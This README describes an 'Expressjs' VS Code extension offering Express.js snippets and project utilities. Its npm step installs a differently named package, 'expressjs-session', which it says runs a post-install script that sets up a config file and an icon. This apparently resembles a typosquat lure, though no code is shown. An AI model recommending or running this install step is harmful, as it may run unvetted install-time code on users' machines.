# Expressjs

Expressjs code snippets and tools for your project.

## Overview

The **Expressjs** extension for Visual Studio Code enhances your development experience with Express.js by providing a collection of code snippets and utilities tailored for building Node.js web applications. Whether you're setting up routes, middleware, or server configurations, this extension streamlines your workflow with ready-to-use tools.

## Features

- **Code Snippets**: Quickly insert common Express.js patterns, such as route handlers, middleware functions, and server setups.
- **Project Utilities**: Includes tools to initialize and manage Express.js project configurations.
- **Lightweight and Fast**: Designed to integrate seamlessly into your VS Code environment without slowing you down.

## Installation

1. **Install via VS Code Marketplace**:
   - Search for `Expressjs` in the VS Code Extensions view (`Ctrl+Shift+X` or `Cmd+Shift+X` on macOS).
   - Click **Install**.

2. **Install via npm** (if applicable):
   - If the extension is distributed as an npm package, run:
     ```bash
     npm install expressjs-session
     ```
   - **Note**: This package runs an initialization script after installation to process configurations. This script sets up necessary files, such as a configuration file and an icon, to enable the extension's features.

3. **Manual Installation**:
   - Download the `.vsix` file from the [Marketplace](https://marketplace.visualstudio.com/) or repository.
   - In VS Code, go to the Extensions view, click the `...` menu, select **Install from VSIX**, and choose the downloaded file.

## Usage

### Code Snippets

- **Access Snippets**:
  - In a JavaScript or TypeScript file, type the snippet prefix (e.g., `exp-route`, `exp-middleware`) and press `Tab` or select from IntelliSense.
  - Example snippets:
    - `exp-route`: Creates a basic Express route handler.
    - `exp-server`: Sets up an Express server with common middleware.
    - `exp-middleware`: Generates a middleware function template.

- **List of Snippets**:
  - Run the command `Expressjs: List Snippets` from the Command Palette (`Ctrl+Shift+P` or `Cmd+Shift+P`) to view all available snippets.

### Utilities

- **Initialize Project**:
  - Run `Expressjs: Initialize Project` from the Command Palette to create a basic Express.js project structure.
  - This may generate files like `config/config.json` and assets in the `icons` folder, managed by the extension.

- **Configuration**:
  - The extension uses a `config/config.json` file to store settings. This file is automatically set up during installation.
  - Modify `config/config.json` to customize paths or other settings as needed.

## Requirements

- Visual Studio Code version 1.60.0 or higher.
- Node.js (if using npm installation or running scripts).

## Known Issues

- If snippets don’t appear, ensure the file is recognized as JavaScript or TypeScript.

## Contributing

Contributions are welcome! To contribute:

1. Fork the repository.
2. Create a new branch (`git checkout -b feature/your-feature`).
3. Commit your changes (`git commit -m 'Add your feature'`).
4. Push to the branch (`git push origin feature/your-feature`).
5. Open a Pull Request.

Please report issues or suggest features via the [GitHub Issues](https://github.com/expressjs/express/issues) page.

## License

This extension is licensed under the [MIT License](https://github.com/expressjs/session/blob/HEAD/LICENSE).

## Acknowledgements

Built with ❤️ for the Express.js and VS Code communities.

